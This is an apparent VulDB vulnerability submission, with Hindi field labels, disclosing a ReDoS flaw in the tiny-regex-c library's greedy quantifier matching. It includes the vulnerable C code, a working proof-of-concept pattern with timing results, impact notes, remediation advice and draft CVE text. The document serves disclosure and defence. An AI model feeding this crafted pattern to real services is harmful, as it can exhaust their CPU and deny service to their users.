| शीर्षक | tiny-regex-c 0.1.0 Regular Expression Denial of Service |
|---|
| विवरण | # tiny-regex-c has ReDoS CPU denial-of-service vulnerability in re.c
## Supplier
- Project: tiny-regex-c
- Repository: https://github.com/kokke/tiny-regex-c
## Vulnerability File
```text
re.c
```
Verification program:
```text
redos.c
```
## Vulnerability Description
`tiny-regex-c` implements greedy `*` and `+` quantifier matching in `matchstar()` and `matchplus()`. These functions first consume as much matching input as possible, then backtrack from right to left and call `matchpattern()` for each candidate split point. When multiple greedy quantifiers are chained and the overall match fails near the end, the engine repeatedly redistributes the same input across each quantifier and explores a rapidly growing number of failing paths.
This can be triggered when an application lets an attacker control the regex pattern, or when an attacker can choose input that reaches a vulnerable pattern already present in the host application.
Affected matching logic:
```c
static int matchstar(regex_t p, regex_t* pattern, const char* text, int* matchlength)
{
int prelen = *matchlength;
const char* prepoint = text;
while ((text[0] != '\0') && matchone(p, *text))
{
text++;
(*matchlength)++;
}
while (text >= prepoint)
{
if (matchpattern(pattern, text--, matchlength))
return 1;
(*matchlength)--;
}
*matchlength = prelen;
return 0;
}
static int matchplus(regex_t p, regex_t* pattern, const char* text, int* matchlength)
{
const char* prepoint = text;
while ((text[0] != '\0') && matchone(p, *text))
{
text++;
(*matchlength)++;
}
while (text > prepoint)
{
if (matchpattern(pattern, text--, matchlength))
return 1;
(*matchlength)--;
}
return 0;
}
```
`matchpattern()` dispatches each quantified token back into the greedy matcher, so repeated quantifiers such as `a*a*a*...` compound the backtracking cost:
```c
else if (pattern[1].type == STAR)
{
return matchstar(pattern[0], &pattern[2], text, matchlength);
}
else if (pattern[1].type == PLUS)
{
return matchplus(pattern[0], &pattern[2], text, matchlength);
}
```
The stable reproducer uses a trailing literal `b` to force a failed match after many `a*` quantifiers have consumed the input:
```text
pattern = "a*a*a*a*a*a*a*a*a*a*a*a*a*a*b"
text = "aaaaaaaaaaaaaaaaaa"
```
Important constraint: `MAX_REGEXP_OBJECTS` is 30. The reproducer intentionally keeps the number of repeated `a*` tokens low enough that the trailing `b` remains compiled. If too many `a*` tokens are added, the pattern tail is truncated and the failed match may become a successful match, hiding the ReDoS behavior.
## Proof of Concept
### Environment
- OS: Windows
- Compiler: GCC 11.2.0
- Build command:
```bash
gcc -O0 -std=c99 -Wall -Wextra -o redos.exe redos.c
```
`redos.c` uses the following pattern:
```c
const char *pattern = "a*a*a*a*a*a*a*a*a*a*a*a*a*a*b";
```
### Steps
Step 1: Build the verification program.
```bash
gcc -O0 -std=c99 -Wall -Wextra -o redos.exe redos.c
```
Step 2: Run the matcher with increasing failed-match input lengths.
```bash
.\redos.exe aaaaaaaaaaaa
.\redos.exe aaaaaaaaaaaaaaa
.\redos.exe aaaaaaaaaaaaaaaaaa
```
Step 3: Observe that all inputs fail to match, but CPU time grows rapidly.
```text
Input length 12: return -1, CPU time 0.286000 seconds
Input length 15: return -1, CPU time 2.209000 seconds
Input length 18: return -1, CPU time 17.150000 seconds
```
Screenshot:
## Impact
- A crafted pattern and failed-match input can cause excessive CPU consumption.
- In network services that expose regex matching directly or indirectly, an unauthenticated remote attacker may be able to tie up worker threads or event loops and cause denial of service.
- In CLI, embedded, or local-only use, exploitability depends on whether an untrusted user can provide the regex pattern or choose inputs that trigger the worst-case path.
- The issue maps most directly to CWE-1333: Inefficient Regular Expression Complexity. CWE-400: Uncontrolled Resource Consumption is also applicable.
## Remediation
- Replace the current backtracking quantifier implementation with a linear-time matching strategy, such as Thompson NFA/Pike VM style execution, or another design that does not revisit the same `(pattern, text)` states repeatedly.
- Add a match-step budget, timeout, or recursion/backtracking limit and fail safely when the budget is exceeded.
- Reject or warn on ambiguous repeated quantifier chains that can trigger catastrophic backtracking, especially repeated greedy quantifiers over the same atom.
- Return a compile-time error when `MAX_REGEXP_OBJECTS` would truncate a pattern, instead of silently compiling a prefix that changes the match result.
- In host applications, avoid accepting untrusted regex patterns. If user-controlled regex is required, cap pattern length, cap input length, isolate matching, enforce timeouts, and consider using a regex engine with guaranteed linear-time behavior.
## Suggested CVE Description
For this ReDoS issue alone:
```text
tiny-regex-c re.c contains a denial-of-service vulnerability in the greedy quantifier matching implementation. matchstar() and matchplus() greedily consume input and then backtrack from right to left; when multiple quantifiers are chained in a crafted failing pattern, matching cost grows rapidly and can cause excessive CPU consumption. This can lead to denial of service depending on how the library is embedded and whether attackers can control regex patterns or worst-case input.
```
If this finding is submitted together with the related `re_matchp()` NULL pointer dereference and `re_compile()` static global storage issues, a combined description can be used:
```text
tiny-regex-c re.c contains multiple denial-of-service issues. re_matchp() dereferences a NULL matchlength pointer before validation, re_compile() returns a pointer to static global storage that is overwritten by subsequent compilations, and the greedy quantifier matching implementation can consume excessive CPU on crafted failing patterns with repeated quantifiers. These issues can cause process crashes, incorrect regex decisions, or CPU exhaustion depending on how the library is embedded.
```
|
|---|
| स्रोत | ⚠️ https://github.com/kokke/tiny-regex-c/issues/100 |
|---|
| उपयोगकर्ता | Fantasy (UID 69897) |
|---|
| सबमिशन | 20/05/2026 09:42 AM (19 दिन पहले) |
|---|
| संयम | 07/06/2026 11:42 AM (18 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 369098 [kokke tiny-regex-c तक f2632c6d9ed25272987471cdb8b70395c2460bdb Pattern re.c matchstar सेवा अस्वीकार] |
|---|
| अंक | 20 |
|---|